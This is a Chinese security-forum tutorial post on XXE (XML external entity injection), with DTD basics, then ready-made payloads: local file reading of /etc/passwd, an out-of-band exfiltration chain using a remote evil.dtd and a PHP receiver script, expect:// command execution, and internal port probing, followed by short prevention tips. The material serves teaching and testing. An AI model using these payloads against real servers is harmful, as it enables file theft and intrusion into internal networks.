安全矩阵

 找回密码
 立即注册
搜索
查看: 5347|回复: 0

渗透测试之XXE漏洞

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-11-10 22:45:00 | 显示全部楼层 |阅读模式
原文链接:渗透测试之XXE漏洞

XML外部实体注入简称XXE漏洞:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。文章目录
  • 01 XML基础知识
  • 02 XXE漏洞原理
  • 03 XXE漏洞利用
  • 04 XXE漏洞绕过方式
  • 05 XXE造成的危害
  • 06 XML注入预防


XML基础知识

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

  1. <?xml version=”1.0”>           //xml声明

  2. <!DOCTYPE  note [
  3. <!ELEMENT note (to, from, heading, body)>
  4. <!ELEMENT to   (#PCDATA)>                     //文档类型定义
  5. <!ELEMENT from (#PCDATA)>
  6. <!ELEMENT heading (#PCDATA)>
  7. <!ELEMENT body   (#PCDATA)>
  8. ]>

  9. <note>
  10. <to>George</to>
  11. <from>John</from>                                 //文档元素
  12. <heading>Reminder</heading>
  13. <body>Don’t forget the meeting</body>
复制代码
XXE漏洞原理


XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml2.9.1及以后,默认不再解析外部实体。
  1. 内部声明 DTD            
  2. <!DOCTYPE 根元素 [元素声明]>
  3. 引用外部 DTD                 
  4. <!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
  5. /或者
  6. <!DOCTYPE 根元素 SYSTEM "文件名">
复制代码
在解析 XML 时,实体将会被替换成相应的引用内容,xml文档如下所示:(1) 包含内部实体的 XML 文档
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE c [
  3.     <!ENTITY copyright "Copyright xx.xx.xx">
  4. ]>
  5. <c>©right;</c>
复制代码
(2) 包含外部实体的 XML 文档
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE c [
  3.     <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
  4. ]>
  5. <c>©right;</c>
复制代码

XXE漏洞利用

(1) XML 解析器解析外部实体时支持多种协议
  1. libxml2:file、http、ftp
  2. PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
  3. Java:file、http、ftp、https、jar、netdoc、mailto、gopher
  4. .NET:file、http、ftp、https
复制代码


(2) 不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析:
PHP:

  1.     DOM
  2.     SimpleXML
复制代码
.NET:
  1. System.Xml.XmlDocument
  2. System.Xml.XmlReader
复制代码


对于XXE通常有两种利用方式:
1) 有回显XXE攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:
  1. <?xml version="1.0" encoding="utf-8"?>
  2.   <!DOCTYPE c [
  3.       <!ENTITY file SYSTEM "file:///etc/passwd">
  4.   ]>
  5. <c>&file;</c>
复制代码
2) Blind XXE
服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义
  1. <?xml version="1.0" encoding="utf-8"?>
  2.     <!DOCTYPE c [
  3.        <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"
  4.        %a;
  5.     ]>
  6. <c>&b;</c>
复制代码
Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。


XXE漏洞绕过方式

有回显方式的XXE漏洞利用两种方式:方式一,xml内容为:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码



方式二、xml内容为:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY  % d  SYSTEM "http://ip/evil.dtd" >
  5. %d;
  6. ]>
  7. <root>
  8. <name>&b;</name>
  9. </root>
复制代码
远程vps服务器 www/html文件下建立evil.dtd文件,文件内容如下:
  1. <!ENTITY b SYSTEM "file:///etc/passwd">
复制代码




无回显方式的XXE漏洞利用:
xml内容为:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY  % file  SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >
  5. <!ENTITY  % remote  SYSTEM "http://ip/evil2.dtd" >
  6. %remote;
  7. %all;
  8. %send;
  9. ]>
复制代码
远程端vps上在www/html文件夹下放置两个文件一个为test.php文件用于接收信息,另一个为test.dtd,其中test.php代码如下:
  1. <?php
  2. $file = "./test.txt";
  3. $content = base64_decode($_GET['file']);
  4. file_put_contents($file , $content);
  5. echo "\n";
  6. ?>
复制代码
test.dtd中代码如下:
  1. <!ENTITY % all
  2. "<!ENTITY % send SYSTEM 'http://ip/xxe/test.php?file=%file;'>"
  3. >
复制代码




XML造成的危害


(1) 读取任意文件
xml内容为:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码




(2) 执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能执行系统命令;

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://ifconfig" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码

(3) 探测内网端口
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码




(4) 攻击内网网站

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码





XML注入预防


1、预定义字符转义:
  1. <       <
  2. >       >
  3. &       &
  4. ‘      '
  5. “      "
复制代码


2、过滤用户提交的XML数据,关键词:,SYSTEM和PUBLIC;
3、禁用外部实体:libxml_disable_entity_loader(true)












回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 14:53 , Processed in 0.017079 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表